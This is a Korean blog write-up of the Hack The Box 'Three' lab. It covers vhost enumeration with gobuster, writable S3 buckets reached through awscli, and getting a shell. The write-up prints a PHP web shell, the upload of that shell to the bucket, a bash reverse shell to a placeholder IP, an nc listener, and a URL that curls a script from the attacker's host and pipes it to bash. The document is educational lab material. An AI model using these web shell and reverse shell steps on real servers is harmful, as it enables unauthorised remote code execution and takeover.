
1. 기본 개념
0) gobuster
vhost: vhost를 브루트 포싱으로 찾기
--apend-domain: vhost앞에 워드리스트들의 각 단어를 붙여서 실행 시 사용.
=> gobuster는 실행 결과 기본 응답와 다른 응답을 출력하는 경우를 보여준다.
1) aws s3 bucket
: 클라우드 저장소.
- s3: 클라우드 기반 객체 저장소 서비스
- bucket: 데이터를 저장하는 컨테이너
- s3 객체(=objects): amazon s3 버킷 안에 저장된 파일들.
*JSON = 데이터 저장하고 주고받기 위한 텍스트 형식. {키:값}
툴-awscli)
설치.
apt install awscli
aws 설정
aws configure
https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html
Configuring settings for the AWS CLI - AWS Command Line Interface
AWS requires that all incoming requests are cryptographically signed. The AWS CLI does this for you. The "signature" includes a date/time stamp. Therefore, you must ensure that your computer's date and time are set correctly. If you don't, and the date/tim
docs.aws.amazon.com
기본 aws서버 말고 s3로 서버 지정 + aws cli 안에서의 s3 기능 사용 + 버킷 목록 확인
aws --endpoint=http://s3.thetoppers.htb s3 ls
https://docs.aws.amazon.com/cli/latest/reference/s3/ls.html
ls — AWS CLI 2.34.39 Command Reference
Description List S3 objects and common prefixes under a prefix or all S3 buckets. Note that the –output and –no-paginate arguments are ignored for this command.
docs.aws.amazon.com
특정 버킷 내부 json 확인 (ex: 버킷 이름 = thetoppers.htb)
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
버킷에 업로드.(파일 복사)
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
*웹 루트: 웹 서버가 브라우저 요청에 대해 기본적인 파일을 꺼내 보여주는 최상위 폴더.
2) sub-domain
: 웹 사이트 도메인 이름의 앞부분에 추가되는 별도의 정보. 여전히 저 기본 도메인 아래에 있는 웹 사이트는 맞음.
ex) ctf.hackthebox.com
> ctf: sub-domain
> hackthebox: 기본 도메인
> com: TLD = 최상위 도메인
vhost = virtual host = 하나의 서버가 여러 도메인 사이트 운영하게 해주는 기능 자체.
host-based routing 혹은 virtual host routing)
: 하나의 서버가 여러 서브 도메인을 처리하는 방식.
해당 서버는 HTTP요청에 들어간 host 헤더를 보고 어떤 어플리케이션의 요청인지 확인한 후 라우팅 함.
-> 만약 vhost의 경우인 ip가 있는데, 그 ip만 바로 주소창 url에 쳐버리면, 어떤 호스트명을 원하는지 지정해주지 않았으므로 오류를 반환하게 됨.
-> request에서 host http 헤더에 설정 필요
*DNS = Domain Name System: 계층적인 이름 체계
3) php코드
<?php system($_GET["cmd"]); ?>
- cmd라는 인자의 값을 가져오겠다.
=> 그 값을 system함수로 실행하겠다.
4) 리버스 셸
: 원격 호스트가 우리의 로컬 머신 ip주소와 지정한 리스닝 포트로 다시 연결하도록 만드는 방식.
- 일반 shell: 공격자가 타겟에 접속함(타겟 서버가 포트 열고 기다림)
<-> 리버스 shell: 타겟이 공격자에게 접속(우리가 포트 열고 기다림)
0: cmd 창 연결 코드: shell.php
=> 위 php코드에 나온 코드 그대로 들어가면 됨.
echo '<?php system($_GET["cmd"]); ?>' > shell.php
1: bash 셸 생성 코드: shell.sh
=> 대상 서버가 우리 ip/port로 역으로! 접속하여 셸을 넘겨주도록 하자~
#!/bin/bash
bash -i >& /dev/tcp/<YOUR_IP_ADDRESS>/1337 0>&1
입출력을 우리 공격자 ip의 1337로 연결함
*bash 셸: cmd, powershell,,
*소캣 = IP 주소 + 포트 + 프로토콜(TCP/UDP)
2: ncat 리스너 실행
nc -nvlp 1337
포트를 앞에서 우리가 연결한 1337로 적어줌.
3: 서버 열기
=> 현재 폴더를 웹 서버로 열어줌 (http 서버)
python3 -m http.server 8000
8000번 포트에서 웹 서버 실행 시켜서 bash 파일을 호스팅하도록 함.
*호스팅= 내 파일을 다른 컴퓨터가 다운로드할 수 있게 공개한다.
4: curl로 다운
: 해당 url로 데이터를 요청에서 다운받기
2. 문제 풀이

ssh와 http가 있다.
http로 접속 ㄱ

페이지를 뒤적거리다 보면 contact페이지가 뜬다. 웹 해킹 문제는 이 contact페이지가 유용하게 잘 쓰이는 듯,,

여기 소스 코드 보기 하면 action에 php로 연결되는 게 보임.

또 저 메일 입력 넣어줘도 php라 보이고,

아니면 메인 페이지의 index.php도 발견 가능 ㅇㅇ.

사이트 주소 다시 보면 the toppers가 지금 홈페이지 이름이니 /etc/hosts에 따로 적어 추가해준다.

그리고 여기서 dir-busting을 하기 위해 gobuster 실행 ㄱ.
이때 --apend-domain 옵션을 안 넣어주면 안 뜬다,,
안 넣을 때)


넣을 때)

저 발견된 s3.어쩌구에 접속 ㄱ.
그럼 json하나만 달랑 뜸.

일단 저 주소도 ip 등록해주자.

이제, 저 s3를 활용할 툴인 awscli를 사용해보자.
먼저 설정부터. 기본값은 들어있어야하니 아무거나 해봄. 이 경우는 인증 검사는 안 해서 되는 거 같다.

1. 버킷 목록 확인.

2. 버킷 안의 객체 확인
방금 본 index.php도 보인다. 여기다 cmd연결 코드 파일 넣어주면 웹 사이트에 잘 연결 될 듯?

우선 cmd실행을 위한 shell.php 파일을 생성한다. 파라미터 값을 통해 cmd 명령을 실행해준다.

그리고 저 shell.php를 s3 버킷에 업로드 해준다.

아래 url을 쳐봄.
http://thetoppers.htb/shell.php?cmd=id

잘 뜸.
이제 다음 단계는 shell.sh를 만들어, bash 셸을 넘겨주는 코드임.


참고로 내 ip는 ifconfig의 tun0정보 가져옴.
이제 리스닝 포트도 열고

서버도 연다. 여기 위치에 shell.sh 코드도 있어야 함.

이제 마지막! 아래 명령어로 주소창 ㄱㄱ.
http://thetoppers.htb/shell.php?cmd=curl 10.10.15.217:8000/shell.sh|bash
리스닝 하던 곳 가보면 플래그 발견!

+)
사실 굳이 shell.sh까지 등록할 필요없이 그냥 바로 shell.php만 있는 상태에서 해도 ㄱㄴ은 하다. 나중의 확장성 때문에 배우는 것 같다,,
http://thetoppers.htb/shell.php?cmd=cat%20/var/www/flag.txt











'Hack The Box > Lab' 카테고리의 다른 글
| Bike - SSTI (0) | 2026.05.02 |
|---|---|
| Funnel - 터널링 & PostgreSQL & ss (0) | 2026.05.02 |
| Responder - NTLM & winRM & LFI & RFI (0) | 2026.04.30 |
| Crocodile -wappalyzer (0) | 2026.04.30 |
| Sequel - dbms: mysql (0) | 2026.04.29 |